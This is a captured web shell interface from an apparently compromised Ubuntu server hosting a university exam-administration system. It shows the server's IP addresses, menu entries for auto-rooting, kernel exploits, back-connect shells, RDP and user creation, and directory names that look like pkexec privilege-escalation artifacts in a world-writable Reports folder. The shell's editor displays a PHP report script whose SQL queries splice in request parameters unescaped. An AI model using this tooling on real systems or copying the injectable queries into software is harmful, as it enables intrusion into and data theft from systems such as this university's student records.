Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.133.161.132
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
univadmin /
Reports /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxrwxrwx
AdmApprovalRpt.php
8.81
KB
-rwxrwxrwx
AdmFee_Course_Coll_Cast_Hd.php
10.83
KB
-rwxrwxrwx
AdmFee_Course_Coll_Cast_HdEx.p...
11.33
KB
-rwxrwxrwx
AdmSumCourseColl.php
10.21
KB
-rwxrwxrwx
AdmisionDegReport.php
8.61
KB
-rwxrwxrwx
AdmissionReport.php
10.89
KB
-rwxrwxrwx
AuthoLetterReport.php
10.89
KB
-rwxrwxrwx
Centerwise_Collegewise_Student...
13.69
KB
-rwxrwxrwx
Cntrwiseanswerindent.php
8.05
KB
-rwxrwxrwx
CollCateGenWiseReport_excel.ph...
9.58
KB
-rwxrwxrwx
CollCateGenWiseSumryReport.php
13.15
KB
-rwxrwxrwx
CollCateGenWiseSumryReport_vsk...
13.1
KB
-rwxrwxrwx
CollwiseMalPracticeReport.php
9
KB
-rwxrwxrwx
DYPIndent.php
6.77
KB
-rwxrwxrwx
EGOV_generateBillReport.php
24.03
KB
-rwxrwxrwx
ExamAppSumCourseWiseExcel.php
10.55
KB
-rwxrwxrwx
ExamApplicationSummaryCoursewi...
11.31
KB
-rwxrwxrwx
ExamFeeDetails.php
15.42
KB
-rwxrwxrwx
ExamFeeDetailsExcel.php
14.41
KB
-rwxrwxrwx
ExamRegistrationRprt.php
12.47
KB
-rwxrwxrwx
ExmRegstDetReport.php
12.22
KB
-rwxrwxrwx
GenerateMCQKeyAns.php
5.88
KB
-rwxrwxrwx
Generatecollegeiamarkspendingr...
6.75
KB
-rwxrwxrwx
IAPendingRegNoWise.php
10.41
KB
-rwxrwxrwx
IAPendingRegWiseExcel.php
13.34
KB
-rwxrwxrwx
IAPendingRegWiseExcel_IA_tes.p...
11.63
KB
-rwxrwxrwx
LogReport.php
9.85
KB
-rwxrwxrwx
MPEXCEL.php
7.39
KB
-rwxrwxrwx
MasboardReport.php
5.67
KB
-rwxrwxrwx
MasboardReportPDF.php
6.77
KB
-rwxrwxrwx
PC_RV_Report.php
7.19
KB
-rwxrwxrwx
PRPENDING_REG_NO_WISE_Excel.ph...
10.59
KB
-rwxrwxrwx
PRPENDING_REG_NO_WISE_Excel_ol...
11.3
KB
-rwxrwxrwx
PRPendingDetailed_Report.php
9.38
KB
-rwxrwxrwx
PRPendingDetailed_excelnew.php
10.89
KB
-rwxrwxrwx
PracticalIndent.php
5.79
KB
-rwxrwxrwx
QPINDENT_SRN_WISE.php
7.02
KB
-rwxrwxrwx
QPINDENT_SRN_WISE_old.php
7.02
KB
-rwxrwxrwx
QpSummaryReport.php
14.87
KB
-rwxrwxrwx
QpcodewiseMalPracticeReport.ph...
9.22
KB
-rwxrwxrwx
RVRTFeeSummary.php
12.61
KB
-rwxrwxrwx
RV_RT_PC_Sum.php
10.64
KB
-rwxrwxrwx
RV_RT_PC_Sum_1.php
10.3
KB
-rwxrwxrwx
RV_RT_PC_Sum_2.php
10.27
KB
-rwxrwxrwx
ResultStatsCategoryWise.php
37.55
KB
-rwxrwxrwx
ResultStatsCollegeWise.php
13.2
KB
-rwxrwxrwx
ResultStatsDegreeWise.php
12.65
KB
-rwxrwxrwx
ResultStatsGenderWise.php
13.29
KB
-rwxrwxrwx
RvPcCheckList.php
8.29
KB
-rwxrwxrwx
RvPcListReport.php
12.37
KB
-rwxrwxrwx
RvPcListSummReport.php
11.88
KB
-rwxrwxrwx
RvRtFeeReportPDF.php
11.63
KB
-rwxrwxrwx
Template.php
9.99
KB
-rwxrwxrwx
Template_EXCEL.php
8.11
KB
-rwxrwxrwx
Template_PFD.php
7.07
KB
-rwxrwxrwx
UUCMSReport.php
5.32
KB
-rwxrwxrwx
ViewExamCentreNewReportexcel.p...
12.64
KB
-rwxrwxrwx
admReportDet.php
11.92
KB
-rwxrwxrwx
admapprovereport.php
10.17
KB
-rwxrwxrwx
admapprovereport_detailedexcel...
15.04
KB
-rwxrwxrwx
admapprovereport_summaryexcel....
11.49
KB
-rwxrwxrwx
admissionFeesummary.php
8.45
KB
-rwxrwxrwx
admissioncombinationwiseintake...
11.61
KB
-rwxrwxrwx
admsummmaryexcel.php
11.74
KB
-rwxrwxrwx
admsummmaryreport.php
11.31
KB
-rwxrwxrwx
assignUserMenus_.php
4
KB
-rwxrwxrwx
attendance_block_report.php
7.06
KB
-rwxrwxrwx
attendance_report_det.php
12.98
KB
-rwxrwxrwx
attupd.html
3.46
KB
-rwxrwxrwx
bundledispatch_pdf.php
6.32
KB
-rwxrwxrwx
candidatelist.php
10.53
KB
-rwxrwxrwx
catgoryWiseExamFeeReport.php
13.87
KB
-rwxrwxrwx
centerdegreesemister.php
15.99
KB
-rwxrwxrwx
centerwisedegreewiseqpwise.php
12.54
KB
-rwxrwxrwx
centerwiseqpwisestudentcount.p...
12.48
KB
-rwxrwxrwx
centerwisesemisterwise.php
19.21
KB
-rwxrwxrwx
centerwisestudentcount.php
12.51
KB
-rwxrwxrwx
centrewisedatewise_EXCEL.php
14.04
KB
-rwxrwxrwx
col_deg_sum_report.php
17.24
KB
-rwxrwxrwx
colgwiseDegWiseReport.php
11.18
KB
-rwxrwxrwx
college_reports_xl.php
15.03
KB
-rwxrwxrwx
college_wise_student_count.php
12.08
KB
-rwxrwxrwx
collwisedeglist.php
8.45
KB
-rwxrwxrwx
combwiseStudCunt.php
8.86
KB
-rwxrwxrwx
convodetexl.php
10.16
KB
-rwxrwxrwx
convosummary.php
6.59
KB
-rwxrwxrwx
createboeReport.php
8.41
KB
-rwxrwxrwx
dailyFeeDetReportExcel.php
13.61
KB
-rwxrwxrwx
dailyFeeDetReportPDF.php
12.88
KB
-rwxrwxrwx
dailyvaluationsummary.php
9.17
KB
-rwxrwxrwx
datewWiseValDet.php
8.71
KB
-rwxrwxrwx
decodeMissDet.php
6.12
KB
-rwxrwxrwx
degGrpReport.php
7.4
KB
-rwxrwxrwx
degreeEntryDet.php
10.25
KB
-rwxrwxrwx
degreeGroupReport.php
5.46
KB
-rwxrwxrwx
degreeListDetailed.php
8.92
KB
-rwxrwxrwx
degreeWiseCollegeList.pdf
8.16
KB
-rwxrwxrwx
degreeWiseCollegeList.php
8.83
KB
-rwxrwxrwx
degreeWiseCombinationList.php
6
KB
-rwxrwxrwx
degreeWiseStudentList.php
11.38
KB
-rwxrwxrwx
degreeWiseStudentlist_excel.ph...
9.57
KB
-rwxrwxrwx
degreeWiseSubjectList.php
13.58
KB
-rwxrwxrwx
degree_wise_student_list.php
12.06
KB
-rwxrwxrwx
degreesemister.php
13.44
KB
-rwxrwxrwx
degreewiseqpwise.php
9.96
KB
-rwxrwxrwx
digivalrpt.php
14.73
KB
-rwxrwxrwx
dispmarksreport.php
11.98
KB
-rwxrwxrwx
dispmarksreportclg.php
12.12
KB
-rwxrwxrwx
dispmarksreportdetailed.php
12.17
KB
-rwxrwxrwx
dispmarksreportdetailedclg.php
12.18
KB
-rwxrwxrwx
dispmarksreportsearch.php
11.36
KB
-rwxrwxrwx
dudCovid19Cert.php
6.19
KB
-rwxrwxrwx
duplicatePaymentReport.php
13.71
KB
-rwxrwxrwx
dygeneratebill.php
14.03
KB
-rwxrwxrwx
error_data_ssp.php
22.62
KB
-rwxrwxrwx
exaEeePaidCsv.php
7.68
KB
-rwxrwxrwx
exaEeePaidCsv1.php
7.46
KB
-rwxrwxrwx
examAppFeeDetReport.php
17.82
KB
-rwxrwxrwx
examApplicationFeeSummary.php
14.11
KB
-rwxrwxrwx
examCentrDetCSV.php
6.56
KB
-rwxrwxrwx
examCntrDetQPCSV.php
5.55
KB
-rwxrwxrwx
examTimeTableDegreeWiseExcel.p...
9.67
KB
-rwxrwxrwx
examTimeTableQPWiseExcel.php
8.74
KB
-rwxrwxrwx
exam_tot_student_count_semwise...
14.31
KB
-rwxrwxrwx
examapplicationdegwise.php
8.62
KB
-rwxrwxrwx
exmapp_reg_rep_count.php
11.07
KB
-rwxrwxrwx
exmapp_reg_rep_count_Report.ph...
15.69
KB
-rwxrwxrwx
exmfeedetnewexcel.php
19.38
KB
-rwxrwxrwx
export.php
1.29
KB
-rwxrwxrwx
feeCollection.php
16.96
KB
-rwxrwxrwx
feeReportHeadwise.php
11.18
KB
-rwxrwxrwx
feeReportHeadwisePDF.php
10.63
KB
-rwxrwxrwx
feeReportStudwise.php
12.78
KB
-rwxrwxrwx
feeReportStudwisePDF.php
9.41
KB
-rwxrwxrwx
feepaiddet.php
7.54
KB
-rwxrwxrwx
feepaiddet_1.php
8.52
KB
-rwxrwxrwx
gen_Upload_Report.php
6.73
KB
-rwxrwxrwx
genbonf_EXCEL.php
32.47
KB
-rwxrwxrwx
generateCollegeWiseStudListRep...
14.12
KB
-rwxrwxrwx
generateFeeSummaryReportLink.p...
42.89
KB
-rwxrwxrwx
genrteMailSentReportXL.php
8.64
KB
-rwxrwxrwx
getAbstractForm.php
14.76
KB
-rwxrwxrwx
getIaMarksReport.php
16.86
KB
-rwxrwxrwx
getRvPcDEGSummaryList.php
13.67
KB
-rwxrwxrwx
getStudCourseReport.php
7.47
KB
-rwxrwxrwx
getStudDeletedReport.php
6.5
KB
-rwxrwxrwx
getStudGraduandsReport.php
7.38
KB
-rwxrwxrwx
getStudHistoryReport.php
7.95
KB
-rwxrwxrwx
getStudentRegisteredReport.php
9.1
KB
-rwxrwxrwx
getnumword.php
7.45
KB
-rwxrwxrwx
getrvrtpcsum.php
12.57
KB
-rwxrwxrwx
iaMarksPendingReportStudentwis...
5.45
KB
-rwxrwxrwx
iamarksPendingReportSummary.ph...
6.06
KB
-rwxrwxrwx
iamarkssummry_pdf.php
8.87
KB
-rwxrwxrwx
logreports.php
16.41
KB
-rwxrwxrwx
mainSubjectLevelList.php
11.75
KB
-rwxrwxrwx
mark_list_studwise.php
11.75
KB
-rwxrwxrwx
marks_list_subwise.php
21.63
KB
-rwxrwxrwx
markspushexcel.php
9.1
KB
-rwxrwxrwx
mcfpendingReport.php
8.24
KB
-rwxrwxrwx
multiplePaymetReport.php
13.06
KB
-rwxrwxrwx
omrQpReport.php
30.07
KB
-rwxrwxrwx
omrQpReport_18092024.php
30.05
KB
-rwxrwxrwx
onlineservicereport.php
6.22
KB
-rwxrwxrwx
orderReportExcel.php
7.35
KB
-rwxrwxrwx
pendpaymentrpt.php
5.17
KB
-rwxrwxrwx
pgetFeedetl.php
7.01
KB
-rwxrwxrwx
pgetStatus.php
6.8
KB
-rwxrwxrwx
pgetStudentList.php
7.13
KB
-rwxrwxrwx
pget_invigilator_dairy.php
8.84
KB
-rwxrwxrwx
photoCopyPendingList.php
9.89
KB
-rwxrwxrwx
profile.php
3.58
KB
-rwxrwxrwx
qpWiseSubjectList.php
10.09
KB
-rwxrwxrwx
qpWiseSubjectList_123.php
7.38
KB
-rwxrwxrwx
qpcodewisestudentcount.php
8.59
KB
-rwxrwxrwx
qpm_absent_report.php
7.84
KB
-rwxrwxrwx
qpwiseactivestudcount.php
23.39
KB
-rwxrwxrwx
qpwisestdcountcsv.php
5.57
KB
-rwxrwxrwx
qpwisestdcountcsv_old.php
5.7
KB
-rwxrwxrwx
reconReport.php
9.56
KB
-rwxrwxrwx
reconReportExcel.php
8.5
KB
-rwxrwxrwx
reconReportSummaryExcel.php
8.18
KB
-rwxrwxrwx
refundApplications.php
9.62
KB
-rwxrwxrwx
remunerationReportPdf.php
17.19
KB
-rwxrwxrwx
report.html
232
B
-rwxrwxrwx
report_candidate_list.php
16.09
KB
-rwxrwxrwx
report_degree_list.php
4.81
KB
-rwxrwxrwx
report_merit_list.php
10.62
KB
-rwxrwxrwx
report_merit_list_old.php
10.47
KB
-rwxrwxrwx
report_merit_list_test.php
10.99
KB
-rwxrwxrwx
report_ra_invigilators_dairy.p...
15.09
KB
-rwxrwxrwx
reports.html
9.1
KB
-rwxrwxrwx
reports.js
1.87
KB
-rwxrwxrwx
revaQpindentCsv.php
10.44
KB
-rwxrwxrwx
revaQpindentCsv_old.php
6.89
KB
-rwxrwxrwx
reva_fee_sum.php
24.12
KB
-rwxrwxrwx
roomsummary.php
12.01
KB
-rwxrwxrwx
roomsummaryCollection.php
10.71
KB
-rwxrwxrwx
roomsummarydetail.php
14.16
KB
-rwxrwxrwx
roomwise_register_nos_list.php
8.46
KB
-rwxrwxrwx
rvpcreportpdf.php
15.1
KB
-rwxrwxrwx
screen1.png
70.59
KB
-rwxrwxrwx
ssp_marks_status_report.php
8.04
KB
-rwxrwxrwx
studentWiseReport.php
8.48
KB
-rwxrwxrwx
studwiseCollList.php
8.81
KB
-rwxrwxrwx
studwiseCollListExl.php
10.19
KB
-rwxrwxrwx
sublistexcel.php
9.58
KB
-rwxrwxrwx
sublisting.php
2.22
KB
-rwxrwxrwx
tatkal.php
5.87
KB
-rwxrwxrwx
tdvs_report.php
10.61
KB
-rwxrwxrwx
tdvs_report_board.php
5.83
KB
-rwxrwxrwx
tdvs_report_script.php
6.31
KB
-rwxrwxrwx
teachCsv.php
5
KB
-rwxrwxrwx
teachWorkDone.php
16.75
KB
-rwxrwxrwx
teach_report.php
11.21
KB
-rwxrwxrwx
teacher_report.php
11.56
KB
-rwxrwxrwx
teacher_val_report.php
10.16
KB
-rwxrwxrwx
teachersList.php
15.11
KB
-rwxrwxrwx
testkannda.php
10.36
KB
-rwxrwxrwx
testkannda_pra.php
877
B
-rwxrwxrwx
testrep.html
17.88
KB
-rwxrwxrwx
timeTableClashReport.php
17.66
KB
-rwxrwxrwx
univAdmDeg.php
6.04
KB
-rwxrwxrwx
uploaded_qp_details.php
7.61
KB
-rwxrwxrwx
userTypeList.php
8.09
KB
-rwxrwxrwx
valuationSummaryReport.php
16.18
KB
-rwxrwxrwx
valuationstatsReport.php
15.67
KB
-rwxrwxrwx
valuatorExcelReport.php
8.54
KB
-rwxrwxrwx
valuatorReport.php
10.27
KB
-rwxrwxrwx
verifyappRpt.php
9.4
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachWorkDone.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); $pdf_writer_class = $main_src . "tcpdf/tcpdf.php"; require_once $pdf_writer_class; ini_set('max_execution_time', 600); ini_set("memory_limit",'2048M'); class MYPDF extends TCPDF { public function Header() { // get the current page break margin $bMargin = $this->getBreakMargin(); // get current auto-page-break mode $auto_page_break = $this->AutoPageBreak; // disable auto-page-break $this->SetAutoPageBreak(false, 0); $this->SetTitle("Teacher Work Done Report"); // set bacground image $this->SetFillColor(248, 248, 255); $img_path = $this->aobj_context->main_src . "/img/".$this->aobj_context->FUNIVCODE."_logo.jpg"; if (file_exists($img_path)) { $this->Image($img_path, 40, 6, 20, 20); } $this->SetFont('Times', 'B', 13); $this->SetY(5); $this->Cell(0, 4, $this->aobj_context->FUNIVNAME, 0, 1, 'C'); //state $this->SetFont('Times', '', 11); $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C'); $this->SetFont('Times', 'BU', 12); $this->Ln(1); $cur_year = date("Y"); $this->Cell(0, 5, ' Valuation Summary', '0', 1, 'C'); $this->SetFont('Times', 'B', 10); $exmrange = $this->aobj_context->mobj_data["fexamno"]; $examnoStr = strtoupper($exmrange); $splitexamno = str_split($examnoStr); $examno = implode(",", $splitexamno); // var_dump($examno); // $this->Cell(0, 5, 'Degree Group : ' . $this->aobj_context->deggrp, '0', 1, 'C'); $this->Cell(0, 5, " Degree Group: " . $this->aobj_context->mobj_data["deggrp"], "0", 1, "C"); $this->Cell(0, 5, " Exam No. Range: " . $examno, "0", 0, "C"); // $this->Cell(0, 5, " College Range: " . $this->aobj_context->mobj_data["fcollfrom"] . ' - ' . $this->aobj_context->mobj_data["fcollto"], "0", 1, "C"); // restore auto-page-break status // $this->SetAutoPageBreak($auto_page_break, $bMargin); // set the starting point for the page content } public function Footer() { $this->SetY(-15); $this->SetFont('helvetica', 'I', 8); // var_dump(); if($this->CurOrientation == 'P') { $this->Cell(60, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(60, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C'); $this->Cell(60, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R'); } else { $this->Cell(90, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(90, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C'); $this->Cell(90, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R'); } } } class ReprtObject { public function DefaultConstructor($aobj_context) { $this->aobj_context = $aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $this->ip = $_SERVER["REMOTE_ADDR"]; $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date"; $obj = $this->aobj_context->mobj_db->GetRow($get_date); $this->reportType = $aobj_context->mobj_data["rtype"]; $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name); // var_dump($get_coll_name); $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME']; $aobj_context->s_state = $lobj_get_coll_name['state']; $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path']; $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE']; $this->current_date = $obj['now_date']; $deggrp = $this->aobj_context->mobj_data["deggrp"]; $get_coll_name = "select fdeggrp,fexamdate as fexamdate from deggrp where fdeggrp = '{$deggrp}'"; $lobj_get_degree = $this->aobj_context->pobj_db->GetRow($get_coll_name); $aobj_context->deggrp = $lobj_get_degree['fdeggrp']; $aobj_context->fexamdate = $lobj_get_degree['fexamdate']; $this->pdf = new MYPDF('L'); $this->pdf->aobj_context = $aobj_context; } public function Header($pdf) { $pdf->SetFont('Times', 'B', 10); $pdf->Cell(10, 4, "Sl.", "LRT", 0, "C"); $pdf->Cell(20, 4, "Date", "LRT", 0, "C"); $pdf->Cell(20, 4, "Qp Code", "LRT", 0, "C"); $pdf->Cell(40, 4, "Valuation", "LT", 0, "C"); //$pdf->Cell(20, 4, "", "RT", 0, "C"); $pdf->Cell(40, 4, "Review", "LT", 0, "C"); //$pdf->Cell(20, 4, "", "RT", 0, "C"); $pdf->Cell(60, 4, "Packet numbers", "LRT", 1, "C"); $pdf->Cell(10, 4, "No.", "LRB", 0, "C"); $pdf->Cell(20, 4, "", "LRB", 0, "C"); $pdf->Cell(20, 4, "", "LRB", 0, "C"); $pdf->Cell(20, 4, "Pkts", "LB", 0, "C"); $pdf->Cell(20, 4, "Scripts", "RB", 0, "C"); $pdf->Cell(20, 4, "Pkts", "LB", 0, "C"); $pdf->Cell(20, 4, "Scripts", "RB", 0, "C"); $pdf->Cell(60, 4, "", "LRB", 1, "C"); } public function TblHeader($pdf) { $pdf->SetFont('Times', 'B', 10); $pdf->Cell(10, 4, "Sl.", "LRT", 0, "C"); $pdf->Cell(20, 4, "Date", "LRT", 0, "C"); $pdf->Cell(20, 4, "Qp Code", "LRT", 0, "C"); $pdf->Cell(40, 4, "Valuation", "LT", 0, "C"); //$pdf->Cell(20, 4, "", "RT", 0, "C"); $pdf->Cell(40, 4, "Review", "LT", 0, "C"); //$pdf->Cell(20, 4, "", "RT", 0, "C"); $pdf->Cell(60, 4, "Packet numbers", "LRT", 1, "C"); $pdf->Cell(10, 4, "No.", "LRB", 0, "C"); $pdf->Cell(20, 4, "", "LRB", 0, "C"); $pdf->Cell(20, 4, "", "LRB", 0, "C"); $pdf->Cell(20, 4, "Pkts", "LB", 0, "C"); $pdf->Cell(20, 4, "Scripts", "RB", 0, "C"); $pdf->Cell(20, 4, "Pkts", "LB", 0, "C"); $pdf->Cell(20, 4, "Scripts", "RB", 0, "C"); $pdf->Cell(60, 4, "", "LRB", 1, "C"); } public function Report($data,$type) { $pdf = $this->pdf; $pdf->SetMargins(10, 25); $pdf->startPageGroup(); $pdf->SetFont('Times', 'B', 10); $pdf->AddPage("P"); $sl_no = 1; $pdf->SetFont('Times', '', 10); $w=array(10,35,155); $pdf->SetFont('Times', '', 10); $oldCode = ""; $newCode = ""; $sl_no = 1; $first = true; $j = 0; $A1 = 0; $A2 = 0; $A3 = 0; $A4 = 0; $A5 = 0; $last = end($data); // var_dump($x['fvalcode']); foreach ($data as $key => $value) { $newCode = $value['fvalcode']; if ($newCode != $oldCode) { $sl_no = 1; $pdf->SetFont('Times', 'B', 10); $pdf->Cell(50, $h,'Total', "1", 0, "C"); $pdf->Cell(20, $h, $A1, "1", 0, "C"); $pdf->Cell(20, $h, $A2, "1", 0, "C"); $pdf->Cell(20, $h, $A3, "1", 0, "C"); $pdf->Cell(20, $h, $A4, "1", 0 , "C"); $pdf->Cell(60, $h, $A5, "1", 1, "C"); $A1 = 0; $A2 = 0; $A3 = 0; $A4 = 0; $A5 = 0; $pdf->AddPage("P"); $first = false; $pdf->SetFont('Times', 'B', 12); $pdf->Ln(10); $j++; $pdf->cell(0, 10,'Examiner / Reviewer : ' . $value['fvalcode'].' - '.$value['fteachname'], 0, 1, "C"); $pdf->Ln(1); $this->Header($pdf); $pdf->SetFont('Times', '', 10); } $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->SetX($x + 130); $pdf->MultiCell(60, 7, $value['fpkts'], 1, "L"); $y1 = $pdf->GetY(); $h = $y1 - $y; $pdf->SetXY($x, $y); $pdf->Cell(10, $h,$sl_no, "1", 0, "C"); $pdf->Cell(20, $h,$value['fdate'], "1", 0, "C"); $pdf->Cell(20, $h,$value['fqpcode'], "1", 0, "C"); $pdf->Cell(20, $h,$value['fvpktcnt'], "1", 0, "C"); $pdf->Cell(20, $h,$value['fvscriptcnt'], "1", 0, "C"); $pdf->Cell(20, $h,$value['frvpktcnt'], "1", 0, "C"); $pdf->Cell(20, $h,$value['frscriptcnt'], "1", 1, "C"); // $pdf->Cell(60, 7,$value['fpkts'], "1", 1, "C"); // if($type == 'val') // { // $pdf->Cell(20, 7,$value['fvpktcnt'], "1", 0, "C"); // $pdf->Cell(20, 7,$value['fvscriptcnt'], "1", 0, "C"); // $pdf->Cell(20, 7,"", "1", 0, "C"); // $pdf->Cell(20, 7,"", "1", 0, "C"); // $pdf->Cell(60, 7,$value['fpkts'], "1", 1, "C"); // }else // { // $pdf->Cell(20, 7,"", "1", 0, "C"); // $pdf->Cell(20, 7,"", "1", 0, "C"); // $pdf->Cell(20, 7,$value['fvpktcnt'], "1", 0, "C"); // $pdf->Cell(20, 7,$value['fvscriptcnt'], "1", 0, "C"); // $pdf->Cell(60, 7,"", "1", 1, "C"); // } $oldCode = $newCode; $sl_no++; $A1 += $value['fvpktcnt']; $A2 += $value['fvscriptcnt']; $A3 += $value['frvpktcnt']; $A4 += $value['frscriptcnt']; $A5 += $value['fvscriptcnt'] + $value['frscriptcnt']; if($value['fvalcode'] == $last['fvalcode']){ // var_dump($last); $cnt = count($data); // var_dump($cnt); if($cnt == $sl_no -1 ){ $pdf->SetFont('Times', 'B', 10); $pdf->Cell(50, $h,'Total', "1", 0, "C"); $pdf->Cell(20, $h, $A1, "1", 0, "C"); $pdf->Cell(20, $h, $A2, "1", 0, "C"); $pdf->Cell(20, $h, $A3, "1", 0, "C"); $pdf->Cell(20, $h, $A4, "1", 0 , "C"); $pdf->Cell(60, $h, $A5, "1", 1, "C"); $A1 = 0; $A2 = 0; $A3 = 0; $A4 = 0; $A5 = 0; } } } if($this->aobj_context->FUNIVCODE == '027') { $pdf->Ln(10); $pdf->Cell(0, $h,'Sign. of Custodian / Coordinator', "0", 0, "R"); } } public function writeReport($data){ $pdf = $this->pdf; $pdf->SetMargins(7, 30); $pdf->startPageGroup(); $pdf->AddPage("L"); // var_dump($pdf->getY()); $this->TblHeaderCollWise($pdf); $sl_no = 1; foreach($data as $k => $v) { if($pdf->GetY()>= 175) { $pdf->AddPage(); $this->TblHeaderCollWise($pdf); } $x = $pdf->GetX(); $y = $pdf->GetY(); $h = 6; $pdf->SetX($x + 223); $pdf->MultiCell(60, $h, $v['fcollcode'] .'-'.$v['fcollname'], "LRTB", "L"); $y1 = $pdf->GetY(); $h = $y1 - $y; $pdf->SetXY($x, $y); $pdf->SetX($x + 8); $pdf->MultiCell(40, $h, $v['fboardname'], "LRTB", "L"); $y1 = $pdf->GetY(); $h = $y1 - $y; $pdf->SetXY($x, $y); $pdf->SetX($x + 63); $pdf->MultiCell(50, $h, $v['fteachname'], "LRTB", "L"); $y1 = $pdf->GetY(); $h = $y1 - $y; $pdf->SetXY($x, $y); $pdf->Cell(8, $h, $sl_no, "1", 0, "C"); // $pdf->Cell(30, $h, $v['fboardname'], "1", 0, "L"); $pdf->SetX($x + 48); $pdf->Cell(15, $h, $v['fteachcode'], "1", 0, "C"); $pdf->SetX($x + 113); // $pdf->Cell(50, $h, $v['fteachname'], "1", 0, "L"); $pdf->Cell(15, $h, $v['fgender'], "1", 0, "C"); $pdf->Cell(15, $h, $v['fscale'], "1", 0, "C"); $pdf->Cell(20, $h, $v['fmobile'], "1", 0, "C"); $pdf->Cell(60, $h, $v['femail'], "1", 1, "L"); // $pdf->Cell(80, $h, $v['fcollcode'] .'-'.$v['fcollname'], "LRT", 1, "L"); $sl_no++; } } public function SendOutput() { // ob_end_clean(); $this->pdf->Output("teachWorkDone.pdf", "I"); } } function teachWorkDone($aobj_context) { $univcode = $aobj_context->mobj_data["univcode"]; $fcollcode = $aobj_context->mobj_data["fcollcode"]; $vdatefrom = $aobj_context->mobj_data["vdatefrom"]; $vdateto = $aobj_context->mobj_data["vdateto"]; $fboard = $aobj_context->mobj_data["fboard"]; $tcode = $aobj_context->mobj_data["tcode"]; $tcode_arr = (explode(",",$tcode)); foreach($tcode_arr as $key=>$value){ $teach.= "'".$value."',"; } $teach_array= substr_replace($teach,"",-1); if($teach_array == "'all'"){ $tcnd = " "; }else{ $tcnd = "and v.fvalcode in ({$teach_array})"; } $fboard = 'All'; if($fboard == 'All' ){ $brd = ''; }else{ $brd = "AND m.fboard = '{$fboard}'"; } $user = $aobj_context->mobj_data["user"]; $user = json_decode($user,true); $board = $user['fdegree']; $fcurtype = $user['fcurtype']; $cnd1 = ""; if($fcurtype == '400') { $cnd1 = "and ifnull(m.fboard,'') = '{$board}'"; } $cnd = ""; if($fcollcode != '' && $fcollcode != NULL) $cnd = "and t1.fcollcode = '{$fcollcode}'"; $query1 = "select date_format(v.fdate,'%d/%m/%Y') as fdate , v.fqpcode,m.fsubname, v.fvalcode, t1.fcollcode, t1.fteachname, count(v.fpacket) as fvpktcnt, sum(v.fvcount) as fvscriptcnt, '' as frvpktcnt, '' as frscriptcnt, group_concat(concat(v.fpacket,'(',v.fvcount,')') SEPARATOR ', ') as fpkts from mastabu v inner join masqp m on v.fqpcode = m.fqpcode left join masteach t1 on v.fvalcode = t1.fteachcode where v.fdate between date_format(str_to_date('{$vdatefrom}','%d/%m/%Y'),'%Y-%m-%d') and date_format(str_to_date('{$vdateto}','%d/%m/%Y'),'%Y-%m-%d') $tcnd {$cnd} {$cnd1} {$brd} group by v.fdate,v.fvalcode union select date_format(v.fdate,'%d/%m/%Y') as fdate ,v.fqpcode, m.fsubname, v.frevcode as frvalcode, t1.fcollcode, t1.fteachname, '' as fvpktcnt, '' as fvscriptcnt, count(v.fpacket) as frvpktcnt, sum(v.frcount) as frscriptcnt, group_concat(concat(v.fpacket,'(', v.frcount,')') SEPARATOR ', ') as frpkts from mastabu v inner join masqp m on v.fqpcode = m.fqpcode left join masteach t1 on v.frevcode = t1.fteachcode where v.fdate between date_format(str_to_date('{$vdatefrom}','%d/%m/%Y'),'%Y-%m-%d') and date_format(str_to_date('{$vdateto}','%d/%m/%Y'),'%Y-%m-%d') $tcnd {$cnd} {$cnd1} {$brd} group by v.fdate,v.frevcode order by fvalcode,date_format(fdate,'%d/%m/%Y') "; // var_dump($query1); // $query = "select date_format(v.fdate,'%d.%m.%Y') as fdate , v.fqpcode, v.fvalcode, t1.fcollcode, // t1.fteachname, count(v.fpacket) as fvpktcnt, // sum(v.fvcount) as fvscriptcnt, group_concat(v.fpacket SEPARATOR ', ') as fpkts // from mastabu v inner join masqp s on v.fqpcode = s.fqpcode // left join masteach t1 on v.fvalcode = t1.fteachcode // where v.fvalcode between '{$tcodefrom}' and '{$tcodeto}' // {$cnd} // {$cnd1} // group by v.fdate,v.fvalcode // order by t1.fteachcode, v.fdate"; $result = $aobj_context->pobj_db->GetAll($query1); $class_obj = new ReprtObject(); $class_obj->univcode = $univcode; $class_obj->DefaultConstructor($aobj_context); // If No data found Generate Blank Report if (count($result) > 0) { $class_obj->Report($result,'val'); } // $query = "select date_format(v.fdate,'%d.%m.%Y') as fdate , v.fqpcode, v.frevcode as fvalcode, t1.fcollcode, // t1.fteachname, count(v.fpacket) as fvpktcnt, // sum(v.frcount) as 